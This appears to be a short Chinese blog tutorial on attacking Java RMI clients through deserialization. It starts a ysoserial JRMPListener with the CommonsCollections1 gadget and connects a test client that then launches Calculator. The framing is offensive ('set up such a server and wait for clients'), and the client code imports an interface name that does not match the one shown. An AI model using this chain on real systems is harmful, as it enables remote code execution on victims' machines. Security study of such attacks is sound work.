0x01 前言
0x02 环境
编辑器为: IntelliJ IDEAjava版本:java version "1.7.0_80"Java(TM) SE Runtime Environment (build 1.7.0_80-b15)Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)使用的架包:Commons Collections 3.1
0x03 攻击测试
0x03.1 案例介绍
例如现在我们要搞人家,那么就可以特地搭建一个这样的服务器,等待客户端链接我们,然后一击毙命
0x3.2 创建恶意服务端
// 下载ysoserial// 然后按如下命令启动即可java -cp ysoserial-0.0.5-all.jar ysoserial.exploit.JRMPListener 9998 CommonsCollections1 "open /System/Applications/Calculator.app"
0x03.3 被攻击测试
// 目录结构├── RMITest5│ ├── RMITest5Interface.java│ └── RMIClient│ └── RMIClientTest5.java
// 公共接口package RMITest5;import java.rmi.Remote;import java.rmi.RemoteException;public interface RMITest5Interface extends Remote {String test() throws RemoteException;}
// 客户端package RMITest5.RMIClient;import RMITest.RMITestInterface;import java.rmi.Naming;public class RMIClientTest5 {public static void main(String[] args) {try {String rmiName = "rmi://127.0.0.1:9998/t5";// 查找远程RMI服务RMITestInterface rt = (RMITestInterface) Naming.lookup(rmiName);} catch (Exception e) {e.printStackTrace();}}}// 运行结果运行完毕以后,客户端会弹出一个计算器
